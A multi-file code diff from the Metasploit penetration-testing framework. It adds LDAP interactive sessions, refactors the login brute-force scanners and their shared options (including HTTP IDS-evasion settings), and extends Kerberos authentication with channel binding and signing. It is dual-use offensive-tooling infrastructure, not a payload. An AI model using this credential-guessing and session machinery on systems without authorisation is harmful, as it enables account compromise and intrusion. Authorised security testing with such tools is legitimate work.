raise Msf::ValidationError, 'Can not sign and seal when using Schannel authentication.' if opts.fetch(:sign_and_seal, false)
|
||||
|
||||
unless ::File.file?(pfx_path) && ::File.readable?(pfx_path)
|
||||
raise Msf::ValidationError, 'Failed to load the PFX certificate file. The path was not a readable file.'
|
||||
|
||||
@@ -11,8 +11,10 @@ module Metasploit
|
||||
include Metasploit::Framework::LDAP::Client
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
|
||||
attr_accessor :opts
|
||||
attr_accessor :realm_key
|
||||
attr_accessor :opts, :realm_key
|
||||
# @!attribute use_client_as_proof
|
||||
# @return [Boolean] If a login is successful and this attribute is true - an LDAP::Client instance is used as proof
|
||||
attr_accessor :use_client_as_proof
|
||||
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
@@ -36,17 +38,24 @@ module Metasploit
|
||||
}.merge(@opts)
|
||||
|
||||
connect_opts = ldap_connect_opts(host, port, connection_timeout, ssl: opts[:ssl], opts: opts)
|
||||
ldap_open(connect_opts) do |ldap|
|
||||
return status_code(ldap.get_operation_result.table)
|
||||
begin
|
||||
ldap_client = ldap_open(connect_opts, keep_open: true)
|
||||
return status_code(ldap_client)
|
||||
rescue StandardError => e
|
||||
{ status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e }
|
||||
end
|
||||
end
|
||||
|
||||
def status_code(operation_result)
|
||||
case operation_result[:code]
|
||||
def status_code(ldap_client)
|
||||
operation_result = ldap_client.get_operation_result.table[:code]
|
||||
case operation_result
|
||||
when 0
|
||||
{ status: Metasploit::Model::Login::Status::SUCCESSFUL }
|
||||
result = { status: Metasploit::Model::Login::Status::SUCCESSFUL }
|
||||
if use_client_as_proof
|
||||
result[:proof] = ldap_client
|
||||
result[:connection] = ldap_client.socket
|
||||
end
|
||||
result
|
||||
else
|
||||
{ status: Metasploit::Model::Login::Status::INCORRECT, proof: "Bind Result: #{operation_result}" }
|
||||
end
|
||||
@@ -84,7 +93,6 @@ module Metasploit
|
||||
credential.public = "#{credential.public}@#{opts[:domain]}"
|
||||
yield credential
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -34,17 +34,13 @@ module Metasploit
|
||||
false
|
||||
end
|
||||
|
||||
# the actual login method, called by #attempt_login
|
||||
# get the authentication token
|
||||
#
|
||||
# @param user [String] The username to try
|
||||
# @param pass [String] The password to try
|
||||
# @param user [String] The username
|
||||
# @return [Hash]
|
||||
# * status [Metasploit::Model::Login::Status]
|
||||
# * proof [String] the HTTP response body
|
||||
def do_login(user, pass)
|
||||
# prep the data needed for login
|
||||
protocol = ssl ? 'https' : 'http'
|
||||
# attempt to get an authentication token
|
||||
# * proof [String] the authentication token
|
||||
def get_auth_token(user)
|
||||
auth_token_uri = normalize_uri("#{uri}/runtime/core/user/#{user}/authentication-token")
|
||||
|
||||
# send the request to get an authentication token
|
||||
@@ -79,9 +75,43 @@ module Metasploit
|
||||
return { status: LOGIN_STATUS::INCORRECT, proof: auth_res.body.to_s }
|
||||
end
|
||||
|
||||
{ status: LOGIN_STATUS::SUCCESSFUL, proof: auth_token }
|
||||
end
|
||||
|
||||
# generate a signature from the authentication token, username, and password
|
||||
#
|
||||
# @param auth_token [String] The authentication token retrieved by calling get_auth_token
|
||||
# @param user [String] The username
|
||||
# @param pass [String] The password
|
||||
# @return [String] A hexadecimal string representation of the signature
|
||||
def generate_signature(auth_token, user, pass)
|
||||
Digest::MD5.hexdigest(auth_token + pass + auth_token + user + auth_token)
|
||||
end
|
||||
|
||||
# the actual login method, called by #attempt_login
|
||||
#
|
||||
# @param user [String] The username to try
|
||||
# @param pass [String] The password to try
|
||||
# @return [Hash]
|
||||
# * status [Metasploit::Model::Login::Status]
|
||||
# * proof [String] the HTTP response body
|
||||
def do_login(user, pass)
|
||||
# prep the data needed for login
|
||||
protocol = ssl ? 'https' : 'http'
|
||||
# attempt to get an authentication token
|
||||
auth_token_res = get_auth_token(user)
|
||||
# get_auth_token always returns a hash - check that status is SUCCESSFUL
|
||||
# if not, just return as it is
|
||||
unless auth_token_res[:status] == LOGIN_STATUS::SUCCESSFUL
|
||||
return auth_token_res
|
||||
end
|
||||
|
||||
# extract the authentication token from the hash
|
||||
auth_token = auth_token_res[:proof]
|
||||
|
||||
login_uri = normalize_uri("#{uri}/runtime/core/user/#{user}/authentication")
|
||||
# calculate signature to use when logging in
|
||||
signature = Digest::MD5.hexdigest(auth_token + pass + auth_token + user + auth_token)
|
||||
signature = generate_signature(auth_token, user, pass)
|
||||
# GET parameters for login
|
||||
vars_get = {
|
||||
'Signature' => signature,
|
||||
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.4.6"
|
||||
VERSION = "6.4.9"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -221,6 +221,13 @@ class Config < Hash
|
||||
self.new.smb_session_history
|
||||
end
|
||||
|
||||
# Returns the full path to the ldap session history file.
|
||||
#
|
||||
# @return [String] path to the history file.
|
||||
def self.ldap_session_history
|
||||
self.new.ldap_session_history
|
||||
end
|
||||
|
||||
# Returns the full path to the PostgreSQL session history file.
|
||||
#
|
||||
# @return [String] path to the history file.
|
||||
@@ -351,6 +358,10 @@ class Config < Hash
|
||||
config_directory + FileSep + "smb_session_history"
|
||||
end
|
||||
|
||||
def ldap_session_history
|
||||
config_directory + FileSep + "ldap_session_history"
|
||||
end
|
||||
|
||||
def postgresql_session_history
|
||||
config_directory + FileSep + "postgresql_session_history"
|
||||
end
|
||||
|
||||
@@ -0,0 +1,142 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/ldap'
|
||||
|
||||
class Msf::Sessions::LDAP
|
||||
#
|
||||
# This interface supports basic interaction.
|
||||
#
|
||||
include Msf::Session::Basic
|
||||
include Msf::Sessions::Scriptable
|
||||
|
||||
# @return [Rex::Post::LDAP::Ui::Console] The interactive console
|
||||
attr_accessor :console
|
||||
# @return [Rex::Proto::LDAP::Client] The LDAP client
|
||||
attr_accessor :client
|
||||
|
||||
attr_accessor :platform, :arch
|
||||
attr_reader :framework
|
||||
|
||||
# @param[Rex::IO::Stream] rstream
|
||||
# @param [Hash] opts
|
||||
# @option opts [Rex::Proto::LDAP::Client] :client
|
||||
def initialize(rstream, opts = {})
|
||||
@client = opts.fetch(:client)
|
||||
self.console = Rex::Post::LDAP::Ui::Console.new(self)
|
||||
super(rstream, opts)
|
||||
end
|
||||
|
||||
def bootstrap(datastore = {}, handler = nil)
|
||||
session = self
|
||||
session.init_ui(user_input, user_output)
|
||||
|
||||
@info = "LDAP #{datastore['USERNAME']} @ #{@peer_info}"
|
||||
end
|
||||
|
||||
def execute_file(full_path, args)
|
||||
if File.extname(full_path) == '.rb'
|
||||
Rex::Script::Shell.new(self, full_path).run(args)
|
||||
else
|
||||
console.load_resource(full_path)
|
||||
end
|
||||
end
|
||||
|
||||
def process_autoruns(datastore)
|
||||
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
|
||||
next if datastore[key].nil? || datastore[key].empty?
|
||||
|
||||
args = Shellwords.shellwords(datastore[key])
|
||||
print_status("Session ID #{sid} (#{tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||
execute_script(args.shift, *args)
|
||||
end
|
||||
end
|
||||
|
||||
def type
|
||||
self.class.type
|
||||
end
|
||||
|
||||
# Returns the type of session.
|
||||
#
|
||||
def self.type
|
||||
'ldap'
|
||||
end
|
||||
|
||||
def self.can_cleanup_files
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the session description.
|
||||
#
|
||||
def desc
|
||||
'LDAP'
|
||||
end
|
||||
|
||||
def address
|
||||
@address ||= client.peerhost
|
||||
end
|
||||
|
||||
def port
|
||||
@port ||= client.peerport
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Initializes the console's I/O handles.
|
||||
#
|
||||
def init_ui(input, output)
|
||||
self.user_input = input
|
||||
self.user_output = output
|
||||
console.init_ui(input, output)
|
||||
console.set_log_source(log_source)
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Resets the console's I/O handles.
|
||||
#
|
||||
def reset_ui
|
||||
console.unset_log_source
|
||||
console.reset_ui
|
||||
end
|
||||
|
||||
def exit
|
||||
console.stop
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Override the basic session interaction to use shell_read and
|
||||
# shell_write instead of operating on rstream directly.
|
||||
def _interact
|
||||
framework.events.on_session_interact(self)
|
||||
framework.history_manager.with_context(name: type.to_sym) do
|
||||
_interact_stream
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
def _interact_stream
|
||||
framework.events.on_session_interact(self)
|
||||
|
||||
console.framework = framework
|
||||
# Call the console interaction of the ldap client and
|
||||
# pass it a block that returns whether or not we should still be
|
||||
# interacting. This will allow the shell to abort if interaction is
|
||||
# canceled.
|
||||
console.interact { interacting != true }
|
||||
console.framework = nil
|
||||
|
||||
# If the stop flag has been set, then that means the user exited. Raise
|
||||
# the EOFError so we can drop this handle like a bad habit.
|
||||
raise EOFError if (console.stopped? == true)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -9,6 +9,8 @@ module Msf
|
||||
|
||||
module Auxiliary::AuthBrute
|
||||
|
||||
include Msf::Auxiliary::LoginScanner
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Auxiliary
|
||||
###
|
||||
#
|
||||
# This module provides a base configure scanner method for binding common datastore options to the login scanners
|
||||
#
|
||||
###
|
||||
module LoginScanner
|
||||
#
|
||||
# Converts datastore options into configuration parameters for the
|
||||
# Msf::Auxiliary::LoginScanner. Any parameters passed into
|
||||
# this method will override the defaults.
|
||||
#
|
||||
def configure_login_scanner(conf)
|
||||
{
|
||||
host: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
proxies: datastore['Proxies'],
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
local_port: datastore['CPORT'],
|
||||
local_host: datastore['CHOST'],
|
||||
}.merge(conf)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -25,10 +25,14 @@ module Msf
|
||||
begin
|
||||
connect
|
||||
sock.send(header + data_length + data, 0)
|
||||
res = sock.recv(1024)
|
||||
res_length = sock.timed_read(4)&.unpack1('N')
|
||||
return nil if res_length.nil?
|
||||
|
||||
res = sock.timed_read(res_length)
|
||||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
print_error("Unable to connect: #{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
elog('Error sending the rocketmq version request', error: e)
|
||||
return nil
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
@@ -64,7 +68,11 @@ module Msf
|
||||
# @return [Hash] Hash including RocketMQ versions info and Broker info if found
|
||||
def parse_rocketmq_data(res)
|
||||
# remove a response header so we have json-ish data
|
||||
res = res[8..]
|
||||
res = res.split(/\x00_/)[1]
|
||||
unless res.starts_with?("{")
|
||||
print_error("Failed to successfully remove the response header and now cannot parse the response.")
|
||||
return nil
|
||||
end
|
||||
|
||||
# we have 2 json objects appended to each other, so we now need to split that out and make it usable
|
||||
res = res.split('}{')
|
||||
@@ -111,14 +119,21 @@ module Msf
|
||||
# Example of brokerData:
|
||||
# [{"brokerAddrs"=>{"0"=>"172.16.199.135:10911"}, "brokerName"=>"DESKTOP-8ATHH6O", "cluster"=>"DefaultCluster"}]
|
||||
|
||||
if broker_datas['brokerDatas'].blank?
|
||||
print_status("brokerDatas field is missing from the response, assuming default broker port of #{default_broker_port}")
|
||||
return default_broker_port
|
||||
end
|
||||
broker_datas['brokerDatas'].each do |broker_data|
|
||||
if broker_data['brokerAddrs'].blank?
|
||||
print_status("brokerAddrs field is missing from the response, assuming default broker port of #{default_broker_port}")
|
||||
return default_broker_port
|
||||
end
|
||||
broker_data['brokerAddrs'].values.each do |broker_endpoint|
|
||||
next unless broker_endpoint.start_with?("#{rhost}:")
|
||||
return broker_endpoint.match(/\A#{rhost}:(\d+)\z/)[1].to_i
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
print_status("autodetection failed, assuming default port of #{default_broker_port}")
|
||||
default_broker_port
|
||||
end
|
||||
|
||||
@@ -120,7 +120,9 @@ module Msf::Exploit::Remote::DCERPC::KerberosAuthentication
|
||||
|
||||
self.krb_encryptor = @kerberos_authenticator.get_message_encryptor(ap_rep_enc_part.subkey,
|
||||
@client_sequence_number,
|
||||
server_sequence_number)
|
||||
server_sequence_number,
|
||||
rc4_pad_style: :eight_byte_aligned)
|
||||
|
||||
# Set the session key value on the parent class - needed for decrypting attribute values in e.g. DRSR
|
||||
@session_key = ap_rep_enc_part.subkey.value
|
||||
end
|
||||
|
||||
@@ -14,6 +14,7 @@ module Msf
|
||||
module Exploit::Remote::HttpClient
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::LoginScanner
|
||||
|
||||
#
|
||||
# Initializes an exploit module that exploits a vulnerability in an HTTP
|
||||
@@ -152,7 +153,7 @@ module Exploit::Remote::HttpClient
|
||||
client_password = opts['password'] || datastore['HttpPassword'] || ''
|
||||
|
||||
http_logger_subscriber = Rex::Proto::Http::HttpLoggerSubscriber.new(logger: self)
|
||||
|
||||
|
||||
nclient = Rex::Proto::Http::Client.new(
|
||||
opts['rhost'] || rhost,
|
||||
(opts['rport'] || rport).to_i,
|
||||
@@ -270,44 +271,39 @@ module Exploit::Remote::HttpClient
|
||||
# this method will override the defaults.
|
||||
#
|
||||
def configure_http_login_scanner(conf)
|
||||
{
|
||||
host: rhost,
|
||||
port: rport,
|
||||
ssl: ssl,
|
||||
ssl_version: ssl_version,
|
||||
proxies: datastore['PROXIES'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
vhost: vhost,
|
||||
user_agent: datastore['UserAgent'],
|
||||
evade_uri_encode_mode: datastore['HTTP::uri_encode_mode'],
|
||||
evade_uri_full_url: datastore['HTTP::uri_full_url'],
|
||||
evade_pad_method_uri_count: datastore['HTTP::pad_method_uri_count'],
|
||||
evade_pad_uri_version_count: datastore['HTTP::pad_uri_version_count'],
|
||||
evade_pad_method_uri_type: datastore['HTTP::pad_method_uri_type'],
|
||||
evade_pad_uri_version_type: datastore['HTTP::pad_uri_version_type'],
|
||||
evade_method_random_valid: datastore['HTTP::method_random_valid'],
|
||||
evade_method_random_invalid: datastore['HTTP::method_random_invalid'],
|
||||
evade_method_random_case: datastore['HTTP::method_random_case'],
|
||||
evade_version_random_valid: datastore['HTTP::version_random_valid'],
|
||||
evade_version_random_invalid: datastore['HTTP::version_random_invalid'],
|
||||
evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'],
|
||||
evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'],
|
||||
evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'],
|
||||
evade_pad_fake_headers: datastore['HTTP::pad_fake_headers'],
|
||||
evade_pad_fake_headers_count: datastore['HTTP::pad_fake_headers_count'],
|
||||
evade_pad_get_params: datastore['HTTP::pad_get_params'],
|
||||
evade_pad_get_params_count: datastore['HTTP::pad_get_params_count'],
|
||||
evade_pad_post_params: datastore['HTTP::pad_post_params'],
|
||||
evade_pad_post_params_count: datastore['HTTP::pad_post_params_count'],
|
||||
evade_shuffle_get_params: datastore['HTTP::shuffle_get_params'],
|
||||
evade_shuffle_post_params: datastore['HTTP::shuffle_post_params'],
|
||||
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
|
||||
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
|
||||
evade_header_folding: datastore['HTTP::header_folding'],
|
||||
ntlm_domain: datastore['DOMAIN'],
|
||||
digest_auth_iis: datastore['DigestAuthIIS']
|
||||
}.merge(conf)
|
||||
configure_login_scanner(
|
||||
{
|
||||
vhost: vhost,
|
||||
user_agent: datastore['UserAgent'],
|
||||
evade_uri_encode_mode: datastore['HTTP::uri_encode_mode'],
|
||||
evade_uri_full_url: datastore['HTTP::uri_full_url'],
|
||||
evade_pad_method_uri_count: datastore['HTTP::pad_method_uri_count'],
|
||||
evade_pad_uri_version_count: datastore['HTTP::pad_uri_version_count'],
|
||||
evade_pad_method_uri_type: datastore['HTTP::pad_method_uri_type'],
|
||||
evade_pad_uri_version_type: datastore['HTTP::pad_uri_version_type'],
|
||||
evade_method_random_valid: datastore['HTTP::method_random_valid'],
|
||||
evade_method_random_invalid: datastore['HTTP::method_random_invalid'],
|
||||
evade_method_random_case: datastore['HTTP::method_random_case'],
|
||||
evade_version_random_valid: datastore['HTTP::version_random_valid'],
|
||||
evade_version_random_invalid: datastore['HTTP::version_random_invalid'],
|
||||
evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'],
|
||||
evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'],
|
||||
evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'],
|
||||
evade_pad_fake_headers: datastore['HTTP::pad_fake_headers'],
|
||||
evade_pad_fake_headers_count: datastore['HTTP::pad_fake_headers_count'],
|
||||
evade_pad_get_params: datastore['HTTP::pad_get_params'],
|
||||
evade_pad_get_params_count: datastore['HTTP::pad_get_params_count'],
|
||||
evade_pad_post_params: datastore['HTTP::pad_post_params'],
|
||||
evade_pad_post_params_count: datastore['HTTP::pad_post_params_count'],
|
||||
evade_shuffle_get_params: datastore['HTTP::shuffle_get_params'],
|
||||
evade_shuffle_post_params: datastore['HTTP::shuffle_post_params'],
|
||||
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
|
||||
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
|
||||
evade_header_folding: datastore['HTTP::header_folding'],
|
||||
ntlm_domain: datastore['DOMAIN'],
|
||||
digest_auth_iis: datastore['DigestAuthIIS'],
|
||||
}.merge(conf)
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -27,7 +27,7 @@ module Msf
|
||||
|
||||
# @!attribute client
|
||||
# @return [Rex::Proto::Kerberos::Client] The kerberos client
|
||||
attr_accessor :client
|
||||
attr_accessor :kerberos_client
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
@@ -96,8 +96,8 @@ module Msf
|
||||
protocol: 'tcp'
|
||||
)
|
||||
|
||||
disconnect if client
|
||||
self.client = kerb_client
|
||||
disconnect if kerberos_client
|
||||
self.kerberos_client = kerb_client
|
||||
|
||||
kerb_client
|
||||
end
|
||||
@@ -105,11 +105,11 @@ module Msf
|
||||
# Disconnects the Kerberos client
|
||||
#
|
||||
# @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect
|
||||
def disconnect(kerb_client = client)
|
||||
def disconnect(kerb_client = kerberos_client)
|
||||
kerb_client.close if kerb_client
|
||||
|
||||
if kerb_client == client
|
||||
self.client = nil
|
||||
if kerb_client == kerberos_client
|
||||
self.kerberos_client = nil
|
||||
end
|
||||
end
|
||||
|
||||
@@ -129,7 +129,7 @@ module Msf
|
||||
def send_request_as(opts = {})
|
||||
connect(opts)
|
||||
req = opts.fetch(:req) { build_as_request(opts) }
|
||||
res = client.send_recv(req)
|
||||
res = kerberos_client.send_recv(req)
|
||||
disconnect
|
||||
res
|
||||
end
|
||||
@@ -143,7 +143,7 @@ module Msf
|
||||
def send_request_tgs(opts = {})
|
||||
connect(opts)
|
||||
req = opts.fetch(:req) { build_tgs_request(opts) }
|
||||
res = client.send_recv(req)
|
||||
res = kerberos_client.send_recv(req)
|
||||
disconnect
|
||||
res
|
||||
end
|
||||
|
||||
@@ -272,16 +272,17 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
|
||||
auth_context
|
||||
end
|
||||
|
||||
def get_message_encryptor(key, client_sequence_number, server_sequence_number)
|
||||
def get_message_encryptor(key, client_sequence_number, server_sequence_number, use_acceptor_subkey: true, rc4_pad_style: :single_byte)
|
||||
Rex::Proto::Gss::Kerberos::MessageEncryptor.new(key,
|
||||
client_sequence_number,
|
||||
server_sequence_number,
|
||||
is_initiator: true,
|
||||
use_acceptor_subkey: true,
|
||||
dce_style: @dce_style)
|
||||
use_acceptor_subkey: use_acceptor_subkey,
|
||||
dce_style: @dce_style,
|
||||
rc4_pad_style: rc4_pad_style)
|
||||
end
|
||||
|
||||
def parse_gss_init_response(token, session_key, mechanism: 'kerberos')
|
||||
def parse_gss_init_response(token, session_key)
|
||||
mech_id, encapsulated_token = unwrap_pseudo_asn1(token)
|
||||
|
||||
if mech_id.value == Rex::Proto::Gss::OID_KERBEROS_5.value
|
||||
@@ -640,7 +641,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
|
||||
#
|
||||
# @param [Rex::Proto::Kerberos::CredentialCache::Krb5CcacheCredential] credential
|
||||
# @param [Hash] _options
|
||||
def authenticate_via_krb5_ccache_credential_tgs(credential, _options = {})
|
||||
def authenticate_via_krb5_ccache_credential_tgs(credential, options = {})
|
||||
unless credential.is_a?(Rex::Proto::Kerberos::CredentialCache::Krb5CcacheCredential)
|
||||
raise TypeError, 'credential must be a Krb5CcacheCredential instance'
|
||||
end
|
||||
@@ -666,7 +667,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
|
||||
|
||||
## Service Authentication
|
||||
checksum = nil
|
||||
checksum = build_gss_ap_req_checksum_value(mutual_auth, dce_style, nil, nil, nil, nil, nil) if use_gss_checksum
|
||||
checksum = build_gss_ap_req_checksum_value(options: options) if use_gss_checksum
|
||||
|
||||
sequence_number = rand(1 << 32)
|
||||
service_ap_request = build_service_ap_request(
|
||||
@@ -755,13 +756,10 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
|
||||
checksum = nil
|
||||
if use_gss_checksum
|
||||
checksum = build_gss_ap_req_checksum_value(
|
||||
mutual_auth,
|
||||
dce_style,
|
||||
delegated_tgs_ticket,
|
||||
delegated_tgs_auth,
|
||||
tgs_auth.key,
|
||||
realm,
|
||||
client_name
|
||||
ticket: delegated_tgs_ticket,
|
||||
decrypted_part: delegated_tgs_auth,
|
||||
session_key: tgs_auth.key,
|
||||
options: options
|
||||
)
|
||||
end
|
||||
|
||||
@@ -791,15 +789,21 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
|
||||
}
|
||||
end
|
||||
|
||||
def build_gss_ap_req_checksum_value(mutual_auth, dce_style, ticket, decrypted_part, session_key, realm, client_name)
|
||||
def build_gss_ap_req_checksum_value(ticket: nil, decrypted_part: nil, session_key: nil, options: {})
|
||||
# @see https://datatracker.ietf.org/doc/html/rfc4121#section-4.1.1
|
||||
# No channel binding
|
||||
channel_binding_info = "\x00" * 16
|
||||
|
||||
if options[:gss_channel_binding]
|
||||
channel_binding_info = options[:gss_channel_binding].channel_binding_token
|
||||
else
|
||||
channel_binding_info = "\x00".b * 16
|
||||
end
|
||||
channel_binding_info_len = [channel_binding_info.length].pack('V')
|
||||
|
||||
flags = GSS_REPLAY_DETECT | GSS_SEQUENCE | GSS_CONFIDENTIAL | GSS_INTEGRITY
|
||||
flags |= GSS_MUTUAL if mutual_auth
|
||||
flags |= GSS_DCE_STYLE if dce_style
|
||||
flags = GSS_REPLAY_DETECT | GSS_SEQUENCE
|
||||
flags |= GSS_CONFIDENTIAL if options.fetch(:gss_flag_confidential, true)
|
||||
flags |= GSS_INTEGRITY if options.fetch(:gss_flag_integrity, true)
|
||||
flags |= GSS_MUTUAL if options.fetch(:gss_flag_mutual) { mutual_auth }
|
||||
flags |= GSS_DCE_STYLE if options.fetch(:gss_flag_dce_style) { dce_style }
|
||||
flags |= GSS_DELEGATE if ticket
|
||||
|
||||
flags = [flags].pack('V')
|
||||
@@ -813,8 +817,8 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
|
||||
krb_cred.tickets = [ticket]
|
||||
ticket_info = Rex::Proto::Kerberos::Model::KrbCredInfo.new
|
||||
ticket_info.key = decrypted_part.key
|
||||
ticket_info.prealm = realm
|
||||
ticket_info.pname = build_client_name(client_name: client_name)
|
||||
ticket_info.prealm = options.fetch(:realm) { self.realm.upcase }
|
||||
ticket_info.pname = build_client_name(client_name: options.fetch(:client_name) { username })
|
||||
ticket_info.flags = decrypted_part.flags
|
||||
ticket_info.auth_time = decrypted_part.auth_time
|
||||
ticket_info.start_time = decrypted_part.start_time
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# This mixin is a wrapper around Net::LDAP
|
||||
# This mixin is a wrapper around Rex::Proto::LDAP::Client
|
||||
#
|
||||
|
||||
require 'rex/proto/ldap'
|
||||
@@ -41,7 +41,8 @@ module Msf
|
||||
*kerberos_storage_options(protocol: 'LDAP'),
|
||||
*kerberos_auth_options(protocol: 'LDAP', auth_methods: Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS),
|
||||
Msf::OptPath.new('LDAP::CertFile', [false, 'The path to the PKCS12 (.pfx) certificate file to authenticate with'], conditions: ['LDAP::Auth', '==', Msf::Exploit::Remote::AuthOption::SCHANNEL]),
|
||||
OptFloat.new('LDAP::ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0])
|
||||
OptFloat.new('LDAP::ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0]),
|
||||
OptEnum.new('LDAP::Signing', [true, 'Use signed and sealed (encrypted) LDAP', 'auto', %w[ disabled auto required ]])
|
||||
]
|
||||
)
|
||||
end
|
||||
@@ -78,17 +79,43 @@ module Msf
|
||||
username: datastore['USERNAME'],
|
||||
password: datastore['PASSWORD'],
|
||||
domain: datastore['DOMAIN'],
|
||||
base: datastore['BASE_DN'],
|
||||
domain_controller_rhost: datastore['DomainControllerRhost'],
|
||||
ldap_auth: datastore['LDAP::Auth'],
|
||||
ldap_cert_file: datastore['LDAP::CertFile'],
|
||||
ldap_rhostname: datastore['Ldap::Rhostname'],
|
||||
ldap_krb_offered_enc_types: datastore['Ldap::KrbOfferedEncryptionTypes'],
|
||||
ldap_krb5_cname: datastore['Ldap::Krb5Ccname'],
|
||||
ldap_rhostname: datastore['LDAP::Rhostname'],
|
||||
ldap_krb_offered_enc_types: datastore['LDAP::KrbOfferedEncryptionTypes'],
|
||||
ldap_krb5_cname: datastore['LDAP::Krb5Ccname'],
|
||||
proxies: datastore['Proxies'],
|
||||
framework_module: self
|
||||
framework_module: self,
|
||||
kerberos_ticket_storage: kerberos_ticket_storage
|
||||
}
|
||||
case datastore['LDAP::Signing']
|
||||
when 'required'
|
||||
opts[:sign_and_seal] = true
|
||||
when 'disabled'
|
||||
opts[:sign_and_seal] = false
|
||||
end
|
||||
|
||||
ldap_connect_opts(rhost, rport, datastore['LDAP::ConnectTimeout'], ssl: datastore['SSL'], opts: opts)
|
||||
begin
|
||||
result = ldap_connect_opts(rhost, rport, datastore['LDAP::ConnectTimeout'], ssl: datastore['SSL'], opts: opts)
|
||||
rescue Msf::ValidationError => e
|
||||
fail_with(Msf::Module::Failure::BadConfig, e.message)
|
||||
end
|
||||
|
||||
# Now that the options have been resolved (including auto possibly resolving to NTLM), check whether this is a valid config
|
||||
if result[:auth] && datastore['LDAP::Signing'] == 'required'
|
||||
unless %i[ rex_kerberos rex_ntlm ].include?(result[:auth][:method]) || (result[:auth][:method] == :sasl && result[:auth][:mechanism] == 'GSS-SPNEGO')
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'The authentication configuration does not support signing. Change either LDAP::Auth or LDAP::Signing.')
|
||||
end
|
||||
|
||||
if result[:encryption]
|
||||
# Domain Controllers don't seem to support signing and connection over SSL. Gotta pick one or the other.
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'SSL not supported with signing. Change either SSL or LDAP::Signing.')
|
||||
end
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
# @see #ldap_open
|
||||
@@ -100,18 +127,24 @@ module Msf
|
||||
|
||||
# Connect to the target LDAP server using the options provided,
|
||||
# and pass the resulting connection object to the proc provided.
|
||||
# Terminate the connection once the proc finishes executing.
|
||||
# Terminate the connection once the proc finishes executing unless
|
||||
# `keep_open` is set to true
|
||||
#
|
||||
# @param connect_opts [Hash] Options for the LDAP connection.
|
||||
# @param keep_open [Boolean] Keep the connection open or close once the block is finished
|
||||
# @param block [Proc] A proc containing the functionality to execute
|
||||
# after the LDAP connection has succeeded. The connection is closed
|
||||
# once this proc finishes executing.
|
||||
# @see Net::LDAP.open
|
||||
# @see Rex::Proto::LDAP::Client.open
|
||||
# @return [Object] The result of whatever the block that was
|
||||
# passed in via the "block" parameter yielded.
|
||||
def ldap_open(connect_opts, &block)
|
||||
def ldap_open(connect_opts, keep_open: false, &block)
|
||||
opts = resolve_connect_opts(connect_opts)
|
||||
Net::LDAP.open(opts, &block)
|
||||
if keep_open
|
||||
Rex::Proto::LDAP::Client._open(opts, &block)
|
||||
else
|
||||
Rex::Proto::LDAP::Client.open(opts, &block)
|
||||
end
|
||||
end
|
||||
|
||||
